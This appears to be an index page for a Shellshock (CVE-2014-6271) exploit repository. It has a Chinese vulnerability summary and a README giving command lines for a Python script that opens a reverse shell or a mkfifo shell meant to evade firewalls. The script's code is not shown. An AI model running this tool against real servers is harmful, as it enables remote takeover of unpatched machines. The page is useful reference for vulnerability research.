CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source

https://github.com/hadrian3689/shellshock

Associated Vulnerability

Title:GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
Description:GNU Bash是美国软件开发者布莱恩-福克斯（Brian J. Fox）为GNU计划而编写的一个Shell（命令语言解释器），它运行于类Unix操作系统中（Linux系统的默认Shell），并能够从标准输入设备或文件中读取、执行命令，同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞，该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用：OpenSSH sshd中的ForceComman

Description

CVE-2014-6271 Shellshock

Readme

# CVE-2014-6271 Shellshock

A python3 script for the CVE-2014-6271 Shellshock exploit that creates a reverse shell or a pseudo interactive shell using mkfifo for firewall evasion

## Getting Started

### Executing program

* With python3
```
python3 shellshock.py -t http://exploitshellshock.blah -lhost 127.0.0.1 -lport 9001
```
* For forward shell firewall evasion
```
python3 shellshock.py -t http://exploitshellshock.blah -fs
```

## Help

For help menu:
```
python3 shellshock.py -h
```

## Disclaimer
All the code provided on this repository is for educational/research purposes only. Any actions and/or activities related to the material contained within this repository is solely your responsibility. The misuse of the code in this repository can result in criminal charges brought against the persons in question. Author will not be held responsible in the event any criminal charges be brought against any individuals misusing the code in this repository to break the law.

File Snapshot


 [4.0K]  /data/pocs/536f4b1d3697550364c59ca97beb7aaea52304d4
├── [ 982]  README.md
└── [3.9K]  shellshock.py

0 directories, 2 files

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